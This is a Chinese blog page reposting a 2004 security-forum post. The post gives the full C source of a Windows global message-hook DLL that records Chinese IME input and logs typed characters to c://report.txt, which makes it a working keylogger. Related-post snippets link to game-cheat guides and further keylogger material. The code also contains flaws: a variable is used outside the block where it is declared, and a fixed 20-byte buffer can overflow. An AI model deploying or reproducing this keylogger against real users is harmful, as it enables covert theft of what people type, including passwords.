HOOK截获中文输入的方法

HOOK截获中文输入会出现响应多次的情况。 当在Word中输入“你好” 记录下来的结果变成了"你好你好你好你好"实在不解。。代码如下 case WM_IME_COMPOSITION: //MessageBox(NULL, "ImmGetContext3", "ImmGetContext3", MB_OK); //if (m_hEditWnd == pmsg->hwnd 阅读详情
标题:关于HOOK截获中文输入
发信站:安全焦点(2004年12月10日13时58分49秒)

以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.
后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说
WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息
时要用到IMM的一些库函数从输入法数据区中获取.比方说ImmGetContext,ImmGetCompositionString等等.
以下是源代码:

//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include "windows.h"
#include "imm.h"
#include "stdio.h"

#define HOOK_API __declspec(dllexport)

HHOOK        g_hHook            = NULL;        //hook句柄
HINSTANCE    g_hHinstance    = NULL;        //程序句柄

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{    
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
        
        switch (pmsg->message)
        {
        case WM_IME_COMPOSITION:
            {
                HIMC hIMC;
                HWND hWnd=pmsg->hwnd;
                DWORD dwSize;
                char ch;
                char lpstr[20];
                if(pmsg->lParam & GCS_RESULTSTR)
                {
                    //先获取当前正在输入的窗口的输入法句柄
                    hIMC = ImmGetContext(hWnd);
                    if (!hIMC)
                    {
                        MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                    }

                    // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

                    // 缓冲区大小要加上字符串的NULL结束符大小,
                    //   考虑到UNICODE
                    dwSize += sizeof(WCHAR);

                    memset(lpstr, 0, 20);

                    // 再调用一次.ImmGetCompositionString获取字符串
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

                    //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                    MessageBox(NULL, lpstr, lpstr, MB_OK);
                    ImmReleaseContext(hWnd, hIMC);
                }
            }
            break;
        case WM_CHAR:  //截获发向焦点窗口的键盘消息
            {
                FILE* f1;
                f1=fopen("c://report.txt","a+");
                ch=(char)(pmsg->wParam);
                fwrite(&ch,1,1,f1);
                fclose(f1);    
            }
            break;
        }
    }

    return(lResult);
}

HOOK_API BOOL InstallHook()
{
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return TRUE;
}

HOOK_API BOOL UnHook()
{       
    return UnhookWindowsHookEx(g_hHook);
}

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_hHinstance=hModule;
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}

/////////////////////////////////////////
hool.def模块:
/////////////////////////////////////////
LIBRARY    HOOK

EXPORTS
    InstallHook
    UnHook


其实还有一点是要考虑到的,就是我们现在用到的是消息钩子,也就是说只能HOOK到入队的消息,
一旦程序用到了不入队消息的话,这种方法就是不可取的了,这时候就要考虑用到CALLPROC钩子.
希望对大家有用. ^_^

VC++ 实战:无Hook中文键盘记录实现 键盘记录技术作为系统级编程的重要应用,广泛应用于输入监控、安全审计及用户行为分析等领域。在Windows操作系统中,键盘事件的生成涉及从硬件中断到用户界面消息的完整流程,涉及内核模式与用户模式的协同处理。理解这一机制是实现键盘监听的基础。本章将从Windows底层输入模型出发,介绍键盘事件的产生、消息队列的传递机制,以及常见的键盘记录实现方式,如Hook技术与用户态轮询方法。同时,为适应现代系统安全机制的发展,我们还将引出不依赖Hook的替代方案,为后续章节的具体实现打下坚实的理论基础。 阅读详情

相关推荐

通过HOOK来截获中文输入

通过HOOK来截获中文输入 用VC代码编写

关于HOOK截获中文输入

以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息时要用到IMM的一些库函数从输入法数据区中获取.比方说ImmGetCon

2019

原始输入键盘钩子(raw input hook)

使用原始输入(raw input),设置全局键盘钩子,来hook键盘消息。源码来自codeproject。

外挂编写完全攻略

外挂编写完全攻略一、先说一下写一个外挂需要什么条件 1、熟练的C语言知识 目前的外挂大部分都是用BC或者是vc写的,拥有熟练的C语言知识是写外挂的基本条件 2、具有很强的汇编基础 一般游戏都不可能有原代码的,必须*反汇编或者跟踪的办法来探索其中的机理 ,所以有强的汇编基础也是必不可少的条件3、熟练掌握跟踪和调试的工具 有了上面2个条件后,掌握一些工具也是很有必要的 跟踪的工具,softice当然是

Mycro的专栏 4万+

HOOK禁止键盘输入

vba调用HOOK函数禁用鼠标、键盘,方便后台程序执行,但没有禁止任务管理器

mipi协议中的calibration和scramble模式

在MIPI(Mobile Industry Processor Interface)协议中,calibration(校准)和scramble(加扰)模式是两个重要的特性,它们分别用于优化数据传输的准确性和减少信号干扰。

flomingo1的专栏 2397

编写外挂完全攻略

一、先说一下写一个外挂需要什么条件  1、熟练的C语言知识  目前的外挂大部分都是用BC或者是vc写的,拥有熟练的C语言知识是写外挂的基本条件  2、具有很强的汇编基础 一般游戏都不可能有原代码的,必须*反汇编或者跟踪的办 法来探索其中的机理 ,所以有强的汇编基础也是必不可少的条件

Yong的博客 7万+

保姆级教程:用ROS2 Humble和激光雷达,5分钟搞定机器人避障(附Python代码)

本文提供了一份详细的ROS2 Humble激光雷达避障实战指南,帮助开发者快速实现机器人避障功能。通过环境配置、硬件连接和Python代码实现,5分钟内即可让机器人自主避开障碍物。文章还涵盖了参数调优、常见问题排查及进阶优化技巧,适合机器人开发初学者和进阶用户。

weixin_42528902的博客 342

HOOK截获中文输入会出现响应多次的情况

HOOK截获中文输入会出现响应多次的情况。  当在Word中输入“你好” 记录下来的结果变成了"你好你好你好你好" 实在不解。。代码如下      case WM_IME_COMPOSITION:       //MessageBox(NULL, "ImmGetContext3", "ImmGetContext3", MB_OK);       //if   (m_hEditWnd  

wangsuo5764的博客 616

魔兽世界怀旧服宏命令全解析:从自动换装到智能判定,老玩家才知道的黑科技

本文全面解析魔兽世界怀旧服宏命令的高级应用,从自动换装到智能判定,揭秘老玩家专属的黑科技技巧。深入探讨怀旧服特有的宏命令机制,包括施法队列、装备切换系统和职业专属技巧,帮助玩家在经典旧世版本中提升战斗效率。

weixin_29230865的博客 726

C#操作MySQL从入门到精通(3)——新建数据库、新建表

我们要首先新建一个数据库,并且在数据库中新建一系列的表来管理数据库。

qq_34059233的博客 950

关于HOOK截获中文输入 (日文、韩文也应该适用)

关于HOOK截获中文输入 (日文、韩文也应该适用)以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息时要用到IMM

Jayky的专栏 2177

079、镜头阴影校正(LSC)精讲:径向衰减模型、增益矩阵生成与产线标定技巧

《镜头阴影校正(LSC)实战精要》 本文从实际案例出发,深入解析镜头阴影校正的核心技术与产线应用。作者通过一个典型故障案例(0.05mm镜片偏移导致LSC失效)揭示了LSC不仅是数学问题,更是光学-机械-工艺耦合系统。 【关键技术点】 模型优化:提出"径向+切向"双分量模型替代传统cos⁴θ模型,采用5阶多项式拟合径向衰减,1阶线性补偿切向误差 增益矩阵生成:采用自适应网格技术,在边缘区域加密网格,结合中值滤波与高斯平滑消除噪声干扰 产线标定:强调光源均匀性校准(积分球vs平板光源)、坏点预处理、温度补偿等

zzfmlxs的博客 102

关于HOOK截入中文输入

关于HOOK截入中文输入

小发猫 1449

YOLO11有效改进专栏目录

YOLO11改进专栏导航

A1983Z的博客 3675

手把手教你学 Simulink (1.3)--Simulink 的模块库及其模块介绍

Simulink 提供了丰富的模块库,涵盖了从基本的信号生成和处理到复杂的数学运算和系统建模的各种功能。通过熟悉这些模块库及其模块,你可以更高效地构建和仿真动态系统。

MHD0815的博客 5150

Inline hook ImmGetCompositionStringW获取中文输入

// dllmain.cpp : 定义 DLL 应用程序的入口点。 // 本程序通过hook ImmGetCompositionStringW获取中文输入记录 // #include "stdafx.h" #define OPCODESIZE 6 #define INFO_BUFFER_SIZE 32767 typedef BOOL(WINAPI *lpImmGetCompositionS

CoderAldrich的专栏 2807

FAST-LIVO2 源码精读(一):系统总览——从 LIO 到 LIVO 的多传感器融合架构

本文是「FAST-LIVO2 激光-惯性-视觉里程计源码精读」专栏的开篇。全专栏共 18 篇,锚定香港大学 MaRS 实验室 2025 年 1 月开源的官方代码,逐模块剖析这套登上 T-RO’24 的多传感器融合系统。开篇先建立全局认知:FAST-LIVO2 所要解决的问题、整体框架的构成,以及源码主线的数据流动。

PX4-SLAM-PNC 589

openframeworks使用hook方式得到输入法中文输入

of是glfw框架的,对windows里操作权限很少了, 最近想试试是否能通过hook方式得到输入法的中文,结果尝试是可以的, 但是因为字符转码涉及不深,反而更多时间用在了编码转换上 应该很容易实现,文章里说的是glut,glfw也是可以应用的, 不过后面我倒是卡在编码上很久,因为用的是codeblocks编辑器,所以gcc有些地方没有vs的方便

shenmifangke的专栏 1387

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

上一篇: 我老人家N天没能上来
下一篇: 关于中文hook的一些问题的处理
brain_
博客等级 码龄22年 4粉丝 32原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值